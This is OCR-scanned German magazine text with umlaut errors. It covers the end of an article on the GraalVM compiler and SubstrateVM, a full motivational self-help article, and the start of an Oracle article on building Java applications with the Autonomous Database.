einen zweistufigen Prozess: Der Quelltext wird in einen Graphen
Ubersetzt und aus diesem wird der Maschinencode generiert. Den
Graphen kennen einige Entwickler bereits aus anderen Kontexten
unter dem Namen ,Abstract Syntax Tree", kurz ,AST". Wer das zum
ersten Mal sieht, mag vielleicht ein wenig verblifft sein: Jeder Pro-
grammcode kann als Graph dargestellt werden. Tatsachlich ist der
AST das Kernstlick praktisch jeden Compilers. Auf die Einzelheiten
einzugehen, wiirde den Rahmen dieses Artikels sprengen; flr einen
Einstieg empfehlen die Autoren einen Blick in die englischsprachige
Wikipedia-Seite /73/und in die ersten paar Dutzend Seiten des be-
rihmten ,Drachenbuches” [74].

Die Besonderheit des Graal-Graphen ist, dass er nicht auf eine ein-
zige Programmiersprache beschrankt ist. Bei Graal verwenden alle
Programmiersprachen denselben AST. Sie haben damit ein einheit-
liches Framework, um neue Sprachen zu entwickeln. Fiir Sprachent-
wickler ist das ein sehr attraktives Feature.

Es ist auch relativ einfach, eigene Optimierungen zu implementie-
ren. Der Compiler ist in Java geschrieben und durch den Graphen
ist es ziemlich einfach, Optimierungen zu entwerfen. Chris Seatons
\Vortrag /9] zeigt die Idee anhand einiger Beispiele.
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Truffle

Will man selbst eine Sprache entwickeln, ist das Framework Truffle
sogar noch einfacher. In diesem Fall hinterlegt man einfach fiir je-
den Knoten der AST eine in Java geschriebene Implementation. Die
GraalVM kompiliert daraus nativen Maschinencode. Durch Optimie-
rungen wie die Partial Evaluation ist die Performance sehr gut. Laut
Chris Seaton war beispielsweise TruffleRuby durch diesen Ansatz
2017 die schnellste Implementation von Ruby, nach seinen Worten
.oft zehn Mal schneller als andere Implementationen” /9.

Auf GitHub ist ein Quelltext zu finden, der eindrucksvoll zeigt, wie
einfach es ist, mit Truffle einen Compiler zu schreiben / 70/ Auf das
Wesentliche reduziert, sieht die Implementation der Addition zweier
Zahlen wie in Listing 7 aus. Auf den ersten Blick ist das nicht beein-
druckend. Klar, so sieht eine Addition in Java aus, ja und? Der Clou
an der Sache ist, dass es eben gerade keine Addition in Java ist. Es
zeigt, wie man beim Entwerfen einer Programmiersprache die Addi-
tion implementiert. Es konnte PASCAL sein oder Ruby oder LUA oder
eine Programmiersprache, die man entwirft, um bestimmte Ideen
auszuprobieren.

Man braucht also nicht mehr Assembler zu lernen, um eine Spra-
che zu entwickeln oder bei der Weiterentwicklung einer Pro-
grammiersprache zu unterstutzen. Es reicht, eine weitverbreitete
Hochsprache — Java — zu kennen.

Warum ist der Graal-Compiler besser?

Nach Einschatzung der Autoren ist das der groRe Vorteil des Graal-
Compilers. Er macht es Entwicklern leicht, sich bei der Sprachent-
wicklung einzubringen. Damit ist der Pool an Leuten, die gute Ideen
einbringen konnen, grofRer als beim HotSpot-Projekt.

Das gilt auf allen Ebenen. Der Java-Compiler von GraalVM erzeugt
durchaus nativen Assemblercode, und das kann man auch fiir ande-
re Programmiersprache tun. Der Entwickler hat die Wahl. Der groRte
Teil des Compilers wird in allen Fallen mit Java geschrieben, mit allen
VVorteilen, die das mit sich bringt: einem leistungsfahigen Debugger,
ausgereiften IDEs und vielem mehr.

Als die Autoren sich im Friihjahr 2018 mit der GraalVM zu beschaf-
tigen begannen /[72), war es noch so, dass die Performance der
GraalVM tendenziell schlechter als die des HotSpot-Compilers war.
Inzwischen scheint die GraalVM aufgeholt und zum Uberholen an-
gesetzt zu haben.

Herausforderung Cloud

Zurtick zum Anfang. Bisher haben die Autoren beschrieben, warum
sie die GraalVM faszinierend finden, und eine Menge Uber Interpre-
ter, Compiler und Sprachimplementierung berichtet. Unter anderem
auch, dass Java-Programme nicht sofort, sondern erst nach einiger
Zeit sehr schnell sind.

Genau das ist in Cloud-Umgebungen allerdings unerwinscht. Die
Idee der Cloud ist, nur dann fiir einen Service zu bezahlen, wenn
dieser auch benutzt wird. Die lbrige Zeit kann der Service vom
Cloud-Provider abgeschaltet werden. Der Speicherplatz und die
CPU konnen sinnvoller verwendet werden, als auf einen Service-
Aufruf zu warten, der vielleicht nie kommt. Besonders konsequent
ist dies bei Amazon Lambda umgesetzt. Im Prinzip besteht der
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Service hier nur aus einer — potenziell kleinen — Funktion. Wenn
der Service in Java implementiert wird, passiert jedoch etwas ganz
anderes. Jedes Mal, wenn die Funktion aufgerufen wird, wird eine
JUM gestartet. Das bedeutet, dass rund 2.000 Klassen geladen
werden. Die meisten dieser Klassen bendtigt der Entwickler gar
nicht. Sie werden aber zum Starten der JVM benctigt. Erst nach ein
bis zwei Sekunden ist die JVM verfiigbar und kann mit dem Aus-
fiihren des Service beginnen.

Mit einigen Tricks kann man erreichen, dass diese JVM nicht wie-
der abgeschaltet wird. Beim ndachsten Mal entfallt dadurch die Auf-
warmzeit. Allerdings widerspricht das der Idee der Cloud. Anstatt
Ressourcen moglichst effizient zu nutzen, wird mit diesem Ansatz
das Recycling von CPU und Speicher verhindert.

Ahead-of-Time-Compiler

Die GraalVM bringt einen Ahead-of-Time-Compiler mit (die ,Subs-
trateVM"). Der Entwickler kann damit wie in den guten, alten C++-
Zeiten ein Programm in nativen Maschinencode ubersetzen. Unter
Windows ist das dann ein .EXE-File. Diese Datei lauft auf jedem
Rechner, auch wenn dort kein Java installiert ist. Lediglich die Platt-
formunabhangigkeit geht verloren. Wenn man in die Cloud gehen
mochte, muss man darauf achten, fiir das richtige Betriebssystem
zu kompilieren — in der Regel also Linux.

Der springende Punkt ist, dass das Executable sehr schnell star-
tet. Bei den Messungen der Autoren lag die Startzeit im Milli-
sekundenbereich, eigentlich sogar noch unterhalb ihrer Mess-
genauigkeit.

Nachteile und Einschrankungen

Es gibt ein paar Einschrankungen. Die offensichtlichste ist, dass
das Programm nicht mehr zur Laufzeit optimiert werden kann. Das
Executable wird immer etwas langsamer sein als das gleiche Pro-
gramm mit dem JIT-Compiler — zumindest, wenn die Zeit reicht, um
den HotSpot-Compiler warmlaufen zu lassen.

Der andere Nachteil ist, dass das Reflection-API nicht funktionieren
kann. Die Idee des Reflection-API ist es, zur Laufzeit herauszufin-
den, welche Klassen im Speicher sind. Der springende Punkt ist ,zur
Laufzeit” Der Ahead-of-Time-Compiler lauft ins Leere. Das wiirde
in der Java-Community auf wenig Gegenliebe stof3en, und das weil3
auch das GraalVM-Team. Im Prinzip ist praktisch jedes moderne Ja-
va-Framework davon betroffen: Hibernate, Spring und viele weitere.
Darauf méchte niemand verzichten.

Die SubstrateVM Iost das Problem durch einen Kompromiss. Die
Idee dahinter beruht auf der Beobachtung, dass so gut wie niemand
Anderungen an einer laufenden Softwareinstallation vornimmt.
Wenn ein Programm erst einmal an den Kunden ausgeliefert wurde,
bleibt das Programm so. Veranderungen gibt es erst bei der nachs-
ten Lieferung.

Die Flexibilitat des Reflection-API ist also Uberflussig. Es ist
leicht moglich, bereits zur Kompilierzeit zu erkennen, welche
Klassen geladen werden. Im Prinzip kann man jeden Reflection-
API-Aufruf auflésen und direkt die angefragte Klasse oder Me-
thode liefern. Das funktioniert auch in der Praxis, wenn auch mit
einer beeindruckenden Liste von Einschrankungen /75]. Wenn
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man nach ,SubstrateVM" und ,Hibernate” oder ,Spring Boot”
googelt, finden man in erster Linie Artikel, die sagen, dass das
nicht funktioniert. Soweit die Autoren das erkennen konnen, wird
intensiv daran gearbeitet.

In der Zwischenzeit sind andere Frameworks popular geworden, die
von vornherein flir die SubstrateVM entwickelt wurden. Insbeson-
dere ist hier Quarkus zu nennen.

State of the Art

Die aktuellen Versionen von GraalVM werden als produktions-
reif bezeichnet. Im GroRBen und Ganzen deckt sich das mit den
Erfahrungen der Autoren. Nichtsdestotrotz empfehlen sie, einen
Umstieg vorsichtig zu planen und erst einmal grindlich zu tes-
ten. In einigen Bereichen sind ihnen auch noch offene Baustellen
aufgefallen. Beispielsweise fehlt die Node.js-Umgebung in der
Windows-Version von GraalVM. Aul3erdem sind Entwickler mit der
GraalVM 19.2.0 noch auf Java 8 festgelegt. Fir Java 11 gibt es ak-
tuell (Stand: September 2019) noch keine GraalVM.

Interessiert man sich fiir den Ahead-of-Time-Compiler, sollte man
sich mit Frameworks wie zum Beispiel Quarkus vertraut machen.
Das bedeutet moglicherweise den Abschied von liebgewonnenen
Frameworks wie Spring Boot oder Hibernate. Der Vorteil ist, dass
Quarkus speziell fiir die GraalVM entwickelt wurde.

Fazit

Nach zwanzig Jahren wagt Oracle mit der GraalVM einen radika-
len Neustart. Die Community kann gespannt sein, ob die GraalVM
irgendwann Teil der Standard-Java-Installation oder ob es auch
weiterhin zwei verschiedene Installationen geben wird. Der aktuelle
Stand der Entwicklung stimmt die Autoren allerdings optimistisch!
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Wie Sie morgens ohne Wecker
aus dem Bett springen

Vincent Schwarzmeier, DCD Training GmbH

In diesem Artikel werden Sie die méichtigsten Geheimnisse der Motivation kennenlernen. Sie werden
anschlieBend in der Lage sein, zu jeder Zeit eine nattirliche, intrinsische Motivation in Ihnen zu wecken —
besonders fiir Aufgaben und Tétigkeiten, bei denen es Ihnen am schwersten fillt.
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.Chef, ich komme am Montag etwas spater zur Arbeit.” ,0k, wann
kommen Sie?” ,Am Dienstag." Zugegeben, als ich diesen Spruch
las, musste ich laut losprusten, wahrend ich fast meinen Kaffee
verschittete. Auch fiir einen Motivationstrainer gibt es Tage, an
denen es an Motivation mangelt. Wir sind auch gerne mal faul
und bequem unterwegs, keine Frage. Das ist selbstverstandlich
menschlich. Gleichzeitig sollten die Alarmglocken schrillen und
Malnahmen dagegen ergriffen werden, sobald sich ein solcher
Dauerzustand breitmacht.

Welche Gedanken kommen in Ihnen hoch, wenn es um das Thema
Motivation geht? Fiihlen Sie sich regelmaRig so sehr voller Taten-
drang, dass Sie am liebsten alle lhre Plane gleichzeitig in die Tat
umsetzen mochten und dabei die Sorge haben, dass Sie definitiv
noch ein weiteres Leben brauchten, um alles unter einen Hut zu
bekommen?

Dieser Artikel soll lhre personliche ,Mona Lisa" der Motivations-
schriftstlicke sein, auf die Sie sich als Erstes zurlickbeziehen kén-
nen, falls es Ihnen wiederholt an Motivation mangelt. Ich mochte
es lhnen einfach machen und fiir Sie das absolut Wichtigste zum
Thema Motivation enthllen. Sie werden am Ende dieses Artikels
in der Lage sein, etwas unschdtzbar Kostbares in Ihnen zu entde-
cken. Etwas, das Sie von ganz allein so sehr antreibt, dass Sie tat-
sachlich morgens ohne einen Wecker aus dem Bett springen, weil
Sie so begierig darauf sind, Ihre Plane in die Tat umzusetzen, und
plétzlich deutlich mehr Lebensfreude verspiiren. Besonders auch an
Tagen, an denen Sie mit Tatigkeiten und Aufgaben konfrontiert sind,
bei denen der bloRe Gedanke daran Ihnen den Magen umdreht. Sie
werden sich auch nie wieder motivieren miissen, sondern werden
es von selbst sein und auch bleiben, spatestens ab dem Zeitpunkt,
an dem Sie fiindig geworden sind.

Was ist Ihr personlicher, groRter Antrieb?

Kommen wir gleich zum Punkt. Der dominanteste Grund fir chro-
nische Antriebslosigkeit ist das ausbleibende ,Warum” im Leben.
Stellen Sie sich selbst folgende Fragen: Warum tun Sie jeden Tag
das, was sie tun? Wofir sind Sie angetreten in diesem Leben? Wie
wirde der Buchtitel lhres Lebens hei3en? Ja, das sind tiefe Fragen.
Sie bekommen von mir auch nicht die tblichen 0815-,Express-
MotivationsmalBnahmen’, um schnell die Symptome zu betdauben,
damit Sie bis zum Wochenende ,durchhalten” kénnen. Sie bekom-
men hier komprimiert die reine Essenz der Motivation, damit Sie das
Thema, falls natig, ein fir alle Mal in den Griff bekommen.

Lassen Sie mich Ihnen ein Beispiel geben, wie ein starkes ,Warum”
aussehen und welche Auswirkungen es auf |hr Leben haben kdnn-
te. Vor einigen Jahren, bevor ich hauptberuflich als Seminarleiter in
den Bereichen Personlichkeitsentwicklung und Prasentationen fir
groBe Firmen arbeitete, sal? ich in einer Bahn auf dem Weg zu mei-
ner alten Arbeit. An einer Station angekommen, beobachtete ich die
Menschen beim Aussteigen der Bahn und sah plotzlich bewusster
als sonst in ihre Gesichter. Dabei lief mir ein kalter Schauer Gber
den Ricken. Ich blickte in graue, traurige und gestresste Gesichter.
Erdriickt vom Alltag, mangelnder Gesundheit aufgrund meist unge-
sunder Ernahrung, Zigaretten und falscher Lebensweise. Sie liefen
in einen Job, den sie hassten, und lebten ein Leben, das sie nicht
erflllte. Die nackte Realitdt sprang mir ins Gesicht. Zumindest war
das mein Film, der sich in meinem Kopf abspielte.
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Gleichzeitig wurde mir bewusst, dass meine junge Tochter (ein klei-
ner, durchaus frecher, rothaariger Engel), die zu diesem Zeitpunkt
zwei Jahre alt war, einmal in genau dieser Welt aufwachsen wiirde.
Sie darf spater ebenfalls in einen stadtischen, grauen Kasten gehen,
an dem ihr ihr freies Denken und ihre Kreativitat abtrainiert und sie
fur eine bevorstehende Infrastruktur vorbereitet wird. Sie wachst
ohne das notige Wissen auf, wie man erfolgreiche Beziehungen auf-
baut, selbstsicher auftritt, sich richtig ernahrt, richtig lebt, emotio-
nale Themen behandelt und so weiter. Das komplette 360-Grad-,
Rundum-sorglos- ,So baust du dir ‘ne Hammer Zukunft auf”-Paket
wird ihr komplett vorenthalten und endet spater in einem nur teil-
weise erfiillten Leben.

Allein der Gedanke daran, dass ich spater auf mein Leben zuriickbli-
cken und der Tatsache ins Auge sehen misste, dass ich nichts dage-
gen unternommen habe, nur weil ich standig meinem Tursteher der
Komfortzone (auch bekannt als ,Schweinehund”) nachgiebig war,
ist Motivation genug. Ab diesem Zeitpunkt wusste ich eines ganz
genau: Ich werde alles dafiir geben, um in dieser Gesellschaft einen
maximalen, wertvollen Beitrag zu leisten, der nachhaltig etwas ver-
andert. Ich werde als Personlichkeitstrainer anderen Menschen da-
bei helfen, in ihre Kraft zu kommen und aus ihrem Leben ein fantas-
tisches Meisterwerk zu formen. Solange mein Herz in meiner Brust
schlagt, kampfe ich jeden Tag dafir, dass diese Welt zu einem Ort
wird, in dem meine Tochter sich optimal entfalten und spater sagen
kann: ,Ich bin stolz darauf, dass es meinen Papa gibt!"

Das ist mein ,Warum" in meinem Leben, das mich jeden Tag antreibt,
warum ich jedes Mal 100 Prozent in meinen Trainings fiir meine Teil-
nehmer gebe, egal, ob ich schlecht geschlafen habe oder mit dem
falschen Ful3 aufgestanden bin.

Was ist lhr ,Warum"? Was treibt Sie wirklich an? Sie missen sich
diese Frage stellen und so lange dranbleiben, bis Sie eine klare Ant-
wort darauf haben. Geben Sie sich Zeit. Das ist mitunter die wich-
tigste Frage, die Sie sich in Ihrem Leben beantworten mussen, auch
wenn es sich vielleicht fir Sie nach etwas Tschakka-Motivation
anhort. Auch diese Art Seminare haben meiner Meinung nach ihre
Daseinsberechtigung, wenn wir schon beim Thema sind. Es holt vie-
le Menschen ab, flihrt sie zurtick in ihre Kraft, liefert notige, erste
Impulse. Viele Wege flihren nach Rom.

Ich empfehle lIhnen vor allem, neben lhren eigenniitzigen Zielen
(zum Beispiel Materielles, Wohlstand, Sicherheit etc.), auch altruis-
tische zu verfolgen. Der Antrieb ist dadurch noch groR3er, es bietet
Ilhnen mehr Erfiillung und die Auswirkungen sind weitlaufiger, da
deutlich mehr Leidenschaft hinter Ihren Handlungen steckt. Sehen
Sie sich das Beispiel von Dale Carnegie an:

Dale Carnegie hielt Vortrage und Seminare in Abendschulen. Als ihm
irgendwann der Gesprachsstoff ausging, rief er spontan Teilnehmer
nach vorne und bat sie darum, etwas von sich zu erzahlen. Bei deren
Reden fiel ihm auf, dass man die ein oder andere rhetorische Stell-
schraube noch nachziehen konnte, und fing an, sie zu coachen. Die
Leute entwickelten sich und die Seminare wurden immer voller. Ich
bezweifle Ubrigens, dass Dale Carnegie morgens aufgestanden ist
und vor dem Spiegel griesgramig murmelte: ,Montag... das f' steht
flr Freude”, oder sich motivieren musste. Er wusste, dass ihn zig

Menschen heute wieder erwarten, die allesamt durch seine Tatigkeit
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als Trainer in ihrer Personlichkeit wuchsen und deren Lebensqualitat
sich dadurch erhdhte. Es gab ihm Sinn und Erfillung. Natdrlich trieb
ihn das auf natirliche Weise an, taglich sein Bestes zu geben und
weiterzumachen. Heute ist Dale Carnegie Training ein internationa-
les Trainingsunternehmen, das das Leben von Millionen Menschen
bereichert.

So verstarken Sie lhre Motivation

Schauen Sie sich doch bitte fiir einen kurzen Moment nochmal
das Wort ,Motivation” an. Welches kleine Wort kdnnen Sie dar-
in noch entdecken? Richtig, es ist natiirlich das Wort ,Motiv". Die
Qualitat Ihrer Bilder, die Sie vor Ihrem geistigen Auge sehen, be-
stimmt den Grad Ihrer Motivation, die Sie fihlen. Werfen wir doch
mal einen Blick auf Arnold Schwarzeneggers Lebenslauf, um es
genauer zu erklaren.

Klein Arni wuchs in einem Dorf in Osterreich auf. Als Teenager ent-
wickelte er plotzlich den Traum, der weltgroRte Bodybuilder zu wer-
den, den es je gegeben hat, nachdem er sich voller Begeisterung ei-
nige Bodybuilding-Zeitschriften ansah. Noch heute spricht man von
der besten physischen Form, die Arnold hatte und an die bis heute
keiner rankommt. Da ihm das noch nicht genug war, setzte er noch
eins oben drauf und wurde beriihmt fiir Hollywood-Filme, in denen
er erfolgreich mitspielte. Das alles nur, weil er sich selbst vorher als
ein Hollywood-Star gesehen hat.

Ich konnte Ihnen noch weitere Beispiele und besonders auch The-
orien erklaren, warum es wichtig ist, welche Art von Kopfkinos Sie
sich regelmaRig visualisieren sollten. Lassen Sie uns doch gleich-
zeitig ein Experiment auf der praktischen Ebene machen, um lhnen
einen kurzen Beweis dazu zu liefern.

Stellen Sie sich bitte einmal bildlich vor, Sie liegen in der Sonne auf

einem Liegestuhl. Sie spiiren die warmen Sonnenstrahlen auf der
Haut, horen das Platschern eines Wassers in lhrer Nahe. Neben Ih-
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nen steht ein kleiner Tisch, auf dem eine halbe Zitrone auf einem
kleinen Teller liegt. Sie verspuren plotzlich einen starken Durst nach
diesem sauren Zitronensaft. Sie greifen nach der Zitrone, werfen Ih-
ren Kopf in den Nacken, halten die Zitrone tber Ihren offenen Mund
und pressen die gesamte Zitrone aus. Der ganze Saft tropfelt in Ih-
ren Mund, bis er komplett voll mit Zitronensaft ist und Sie ihn ge-
nusslich herunterschlucken.

Was genau ist gerade in lhrem Mund passiert? Die meisten Teil-
nehmer berichten hinterher, nachdem sie es sich bildhaft vorge-
stellt haben, dass ihr Gaumen zu kribbeln angefangen und der
Mund mehr Speichel ausgestoBen hat. Doch warum reagiert
unser Korper so? Ich meine, hatten Sie wirklich Zitronensaft im
Mund oder reichte die bloRe Vorstellung daran, das Gesicht zu
verziehen?

Die Theorie dahinter ist einfach, in sich jedoch komplex. Unser Ge-
hirn hat keine Ahnung, ob das, was gerade passiert, Realitat oder
Einbildung ist. Es erkennt den Unterschied nicht. Das ist auch der
Grund, warum unsere Traume uns so real vorkommen. Wir wachen
teilweise wahrenddessen auf und fragen uns fir ein paar Sekun-
den, ob wir gerade wirklich in unserem Bett liegen oder noch in dem
Traum gefangen sind.

Wenn also unser Kdrper auf geistige Bilder ebenso reagiert, als
wirden sie wirklich gerade passieren, ware es doch schlau, genau
diese zu beeinflussen, um unsere Geflihlswelt zu steuern. Diese
ruft ja schlieBlich korperliche Reaktionen hervor, die wiederum
unsere Ergebnisse in unserem Leben kreieren. Statt sich morgens
die heftigen Schlagzeilen der Zeitung anzusehen, kdnnte man sich
auch einige Bilder von Zielen visualisieren, die man in seinem Leben
erreichen mochte. Die Wirkung wird eine andere sein — garantiert.
Auch der morgendliche Grul3 an die Kollegen wird enthusiastischer
sein als sonst, weil Sie nun —Uberraschung — motivierter sind!

Warum Sie den hochsten Preis zahlen,

wenn Sie zogern

Kommen wir zuletzt zu einem der machtigsten Werkzeuge, wenn
es um Motivation geht. Wenn hier der Groschen fallt, geht Ihre Mo-
tivation durch die Decke. Lassen Sie mich Ihnen ein Beispiel eines
pragenden Erlebnisses geben:

Vor einigen Monaten saf ich abends mit einem alten Freund zu-
sammen bei einem schonen kihlen Bier. Nach einer Weile Plauderei
setzte wieder einmal meine Berufskrankheit ein und ich fing an, ihn
ungefragt zu coachen: ,Du Berti, lass uns mal ein kleines Experiment
machen. Stell dir vor, ich wiirde dir jeden Tag 86.400 Euro geben. Du
dirftest das gesamte Geld ausgeben, fir alles, was du mdchtest.
Es gibt allerdings zwei Dinge, die du beachten musst: Du darfst das
Geld nicht sparen. Wenn etwas davon auf deinem Konto ubrigbleibt,
wird es wie von Zauberhand geldscht. AulRerdem kann es sein, dass
es jeden Tag vorbei ist und ich dir den Hahn zudrehe.” Er blickte mich
gespannt an und sagte: ,Hort sich bis jetzt gut an!” ,0k, nun meine
Frage: Was wirdest du mit dem Geld jeden Tag machen?” ,Na... ich
wiirde es ausgeben. Fir alles Mogliche. Und ich wirde es natirlich
auch investieren.” ,\Wirklich alles? Jeden Tag? Oder wirdest du, wenn
was ubrig bleibt am Ende des Tages, das Geld verschwinden las-
sen?” ,Nein, sicher nicht. Dann wiirde ich es noch auf den letzten
Dricker verschenken.”
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Ist doch wirklich interessant oder, wie wir Menschen ticken? Wenn
es um Geld geht, wirden wir keinen Cent verschwenden. Wir wiir-
den es alle, in einem solchen Fall, mit vollen Handen ausgeben. Bis
auf den letzten Penny. Nur, wie sieht es mit einer Sache aus, die
noch viel wertvoller als alles Geld dieser Welt ist: unsere Zeit?

Jeden Tag werden Ihnen 86.400 Sekunden gutgeschrieben. Einsparen
geht nicht. Der ,Hahn" kann auch jederzeit abgedreht werden... nut-
zen Sie lhre Zeit genauso sinnvoll, wie Sie das Geld im anderen Fall
ausgeben wiirden? Leben Sie jeden Tag zu 100 Prozent bewusst und
genielRen Sie jede einzelne Sekunde? Mag sein, dass das zu viel ver-
langt sein mag, aber es lohnt sich, sich dem anzundhern. Wir haben
nur das eine Leben. Wie viel Zeit verschwenden wir standig mit unno-
tigen TV-Sendungen, E-Mails checken, Social-Media-Kandlen, wo wir
uns das Leben anderer ansehen, bei denen immer alles perfekt ist?

Mein Freund Berti war schockiert, aber gleichzeitig auch erleichtert
Uber einige Erkenntnisse, die er in so kurzer Zeit gewonnen hatte:
.Darliber habe ich mir so noch nie Gedanken gemacht.." ,Ja, weil3t
du, was auch ziemlich augenéffnend sein kann? Wenn man mal die
Tage ausrechnet, die man noch zu leben hat. Die durchschnittliche
Lebenserwartung eines Mannes betragt 85 Jahre. Das wdren dann
rund 31.000 Tage, insgesamt. 31.000... wirkt plotzlich ziemlich real,
oder? Nehmen wir jetzt mal einen 35-jahrigen, der ja gesellschaft-
lich noch als recht jung betitelt wird. Wenn er jetzt theoretisch noch
50 Jahre zu leben hatte, dann sind das gerade mal 18.250 Tage! Spa-
testens ab dem Zeitpunkt, an dem einem das bewusst wird, muss
man doch jeden Tag so leben, als ware es der letzte, alle Traume und
Plane in die Realitat umsetzen, oder etwa nicht?”

In diesem Moment riss Berti seine Augen weit auf, sprang vom Stuhl
und stand zappelnd vor mir: ,Wow! Hey, ich muss was tun! Vince,
jetzt ehrlich! Ich muss irgendwas andern in meinem Leben, das ist ja
ein Witz, wie wenig Zeit wir eigentlich haben!”

Wir amusierten uns prachtig tber seine Reaktion und die Erkennt-
nisse. Interessant war vor allem, da wir ja hier Giber das Thema Mo-
tivation sprechen, wie unfassbar schnell diese in ihm plotzlich auf-
kam, nachdem er seine Uhr lauter ticken horte.

Machen Sie den Test mit sich. Rechnen Sie sich aus, wie viele Tage
Sie noch erleben dirfen. Wie viel wertvolle Zeit Ihnen noch ge-
schenkt wird. Zumindest hypothetisch. Auch wenn ihr Ergebnis un-
angenehm fiir Sie erscheinen mag, blicken Sie der Tatsache mutig
ins Auge. Ich meine, wann lernen wir mehr? Wenn wir frohlich auf
der Schaukel schwingen und es uns dabei gut geht — oder wenn ein
Familienmitglied gestorben ist und wir feststellen, dass wir viel zu
wenig Zeit mit diesem verbracht haben? Sorgen Sie sich nicht dar-
um, zu wenig Zeit Gbrig zu haben. Bereuen Sie es nicht, sie teilweise
verschwendet zu haben.

Akzeptieren Sie es und fassen Sie den eisernen Entschluss, ab so-
fort einen Ihrer kostbarsten Vermogenswerte dauerhaft sinnvoll zu
investieren. Entdecken Sie Ihr ,Warum"” und richten Sie lhr ganzes
Leben danach aus. Investieren Sie einen Grof3teil Ihrer Zeit in die Be-
antwortung dieser Frage, indem Sie langfristig danach streben, nur
noch Tatigkeiten und Dienstleistungen auszufiihren, die Sie gliick-
lich machen. Fiihren Sie ab jetzt ein Leben, auf das es sich spater
lohnt zurtickzublicken. Tschakka.
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Entwickeln mit der
Autonomous Database

Marcel Amende und Kersten Mebus, ORACLE Deutschland B.V. & Co. KG

Hardware anschaffen, Betriebssysteme aufsetzen,
Datenbanken installieren und dabei immer hoffen,
dass der DBA einen guten Tag erwischt. In Zeiten
schneller Zielerreichung, agiler Entwicklung und
Rapid Prototyping kann der Entwickler solche
langwierigen Prozesse nicht mehr hinnehmen.

Mit der Oracle Autonomous Database [1] ist

eine hochverfligbare, hochskalierbare, sichere,
administrations- und wartungsfreie Datenbank

in der Cloud nur wenige Klicks und Minuten
entfernt. Der Artikel beleuchtet die Besonderheiten
bei der Entwicklung von Java-, SpringBoot-

und JavaScript-Anwendungen mit der Oracle
Autonomous Database.
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ie Autonomitat der Datenbank bezieht sich auf drei Kern-

bereiche: Sie wird vollautomatisch provisioniert, unterbre-
chungs- und administrationsfrei gesichert, gewartet, aufgeriistet
und optimiert. Ihre Daten sind immer verschlisselt und die Sicher-
heitsfunktionalitat wird zum Schutz vor internen und externen Be-
drohungen laufend gepflegt. Fehlerzustande werden automatisch
erkannt und behoben, um auf Grundlage der Clustertechnologie
der Oracle-Datenbank (,Real Application Cluster, RAC") und einer
regionsiibergreifenden Replikation einen unterbrechungsfreien
Zugang zu den Daten zu gewdhrleisten. Eine Verfligbarkeit von
99,995 Prozent ist so garantiert.

Grundlagen der Autonomous Database

Die gute Nachricht vorweg: Die Oracle Autonomous Database lasst
sich kostenfrei testen und sogar dauerhaft kostenfrei nutzen. Ers-
te Gehversuche kann man im Rahmen eines kostenlosen Trials /2/
(30 Tage, plus Credits im Wert von 300 US-Dollar) der Oracle Cloud
unternehmen. Dartiber hinaus sind mit jedem Oracle-Cloud-Zugang
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Autonomous Databases /n alwaysfree (root) Compartment

Create Autonomous Database

Name Database Name @ State

DB Java Aktuell

DBJavaAktuell @ Available No

Dedicated Infrastructure | CPU Core Count | Storage (TB) Workload Type @ Created o3

Transaction Mon, Sep 23, 2019

1 0.02

Always Free Processing 11:31:43 AM UTC
DB ATP free _ Transaction Tue, Sep 17, 2019,
Always Free RERTEREE Al Mo L LE Processing 9:25:20 AM UTC
Displaying 2 Autonomous Databases Page 1
Abbildung 1: Autonome "Always Free" Datenbanken flr verschiedene Workloads in der Oracle Cloud Konsole (Quelle: Marcel Amende)
zwei autonome Datenbanken mit jeweils einer OCPU (entsprichtder ~ JDBC

CPU-Kapazitat eines physischen Cores eines Intel-Xeon-Prozessors
mit aktiviertem Hyperthreading) und 20 GB Datenspeicher als ,Al-
ways Free”-Dienste /3] lebenslang kostenfrei nutzbar (siehe Abbil-
dung 7). Gleiches gilt Gbrigens auch fiir Compute (zwei VMs mit 1/8
OCPUs und 1 GB RAM), einen Load Balancer mit 10 MBit/s Band-
breite, 100 GB Block Storage, 10 GB Object Storage, 10 GB Archi-
ve Storage, 10 GB Outbound Traffic, eine Million Notifications und
1.000 E-Mails im Monat.

Die autonome Datenbank ist in zwei Produktvarianten und auf zwei
verschiedenen Infrastrukturplattformen verfiigbar. Die Varianten sind:

= Autonomous Transaction Processing (ATP), flr transaktionale
Verarbeitungen

= Autonomous Data Warehouse (ADW), fiir Data-Warehouse-An-
wendungen

Beide Varianten lassen sich wiederum ,Serverless” oder ,Dedica-
ted” betreiben. Die Grundlage fiir die schnelle Provisionerung ist
in beiden Fallen die Mandantenfahigkeit der Oracle-Datenbank
(,Multitenancy”). Eine ,Serverless”-Datenbank ist aus technischer
Sicht ein isolierter und elastischer Cluster von Datenbankcontainern
(,Pluggable Database, PDB"), die auf einer extrem leistungsfdhigen
Oracle-Exadata-Datenbankmaschine in der Oracle Cloud laufen. Bei
den ,Dedicated”-Datenbanken nutzen Kunden exklusiv zugeord-
nete Exadata-Datenbankmaschinen in ihrem privaten Subnetz der
Oracle Cloud fir den Betrieb eigener Containerdatenbanken.

Provisionierung einer ,Serverless"-Datenbank

Eine Autonomous Database kann tber die Oracle Cloud Infrastruc-
ture (OCl) Konsole, die OCl-Kommandozeilenschnittstelle (OCI CLI)
oder automatisiert per Terraform bereitgestellt werden. Abbildung 2
zeigt die Provisionierung Uber die Konsole in der Rechenzentrums-
region Frankfurt. Es miissen lediglich ein Compartment, der Daten-
bankname, die Art der Arbeitslast (Data Warehouse oder Transac-
tion Processing), der Infrastrukturtyp (Serverless oder Dedicated),
die Anzahl der CPUs (bei Serverless 1 bis 128), die SpeichergréRe (1 —
128 TB beziehungsweise 20 GB bei ,Always Free"), die Art der Da-
tenbanklizenz (bereits vorhanden oder inkludiert) gewahlt und ein
Passwort vergeben werden. Nicht einmal drei Minuten spater steht
die neue Datenbank inklusive Oracle Application Express (APEX),
Oracle Rest Data Services (ORDS), Oracle SQL Developer Web und
Oracle Machine Learning SQL Notebooks zur Verfligung (siehe
Abbildung 3).
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Der Zugriff auf die Datenbanken in der Cloud erfolgt immer tber eine
sichere SSL-Verbindung (TLSv1.2) und mit einem Zertifikat. Java-
Applikationen bendtigen daher entweder einen Java Key Store (JKS)
oder das sogenannte Oracle Wallet, um sich zu verbinden. Nach
Provisionierung einer Autonomous Database kann die Wallet-Datei
(Wallet_<Datenbankname>.zip) lber die Administrationskonsole
des Datenbankdienstes heruntergeladen werden. Dabei wird ein
Passwort fiir einige Komponenten des Wallet vergeben. Das Wallet
ist ein Zip-Archiv mit folgendem Inhalt:

= tnsnames.ora — Verbindungsdeskriptoren der Datenbank

